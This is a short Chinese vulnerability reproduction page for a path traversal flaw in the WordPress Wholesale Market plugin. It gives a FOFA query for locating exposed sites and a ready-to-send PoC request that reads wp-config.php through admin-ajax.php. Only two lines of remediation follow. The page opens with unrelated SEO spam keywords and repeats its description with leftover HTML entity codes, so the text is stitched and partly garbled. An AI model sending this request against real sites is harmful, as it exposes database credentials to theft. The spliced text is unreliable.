深圳本地专业网站设计,搜狗推广平台,wordpress jsp版,wordpress 作品集网站0x01 产品简介
WordPress plugin Wholesale Market 是一个woocommerce扩展插件#xff0c;使您的商店能够创建批发用户#xff0c;并通过设置产品的批发价格。
0x02 漏洞概述
WordPress plugin Wholesale Market 2.2.1之前版本存在路径遍历漏洞#xff0c;该漏洞源于没有…0x01 产品简介
WordPress plugin Wholesale Market 是一个woocommerce扩展插件使您的商店能够创建批发用户并通过设置产品的批发价格。
0x02 漏洞概述
WordPress plugin Wholesale Market 2.2.1之前版本存在路径遍历漏洞该漏洞源于没有进行授权检查也不会验证用户输入。攻击者利用该漏洞可以从服务器下载任意文件。
0x03 复现环境
FOFAbodywp-content/plugins/wholesale-market 0x04 漏洞复现
PoC
GET /wp-admin/admin-ajax.php?actionced_cwsm_csv_import_export_module_download_error_logtabced_cwsm_pluginsectionced_cwsm_csv_import_export_moduleced_cwsm_log_download../../../wp-config.php HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept-Encoding: gzip
读取wp-config.php配置文件 0x05 修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本
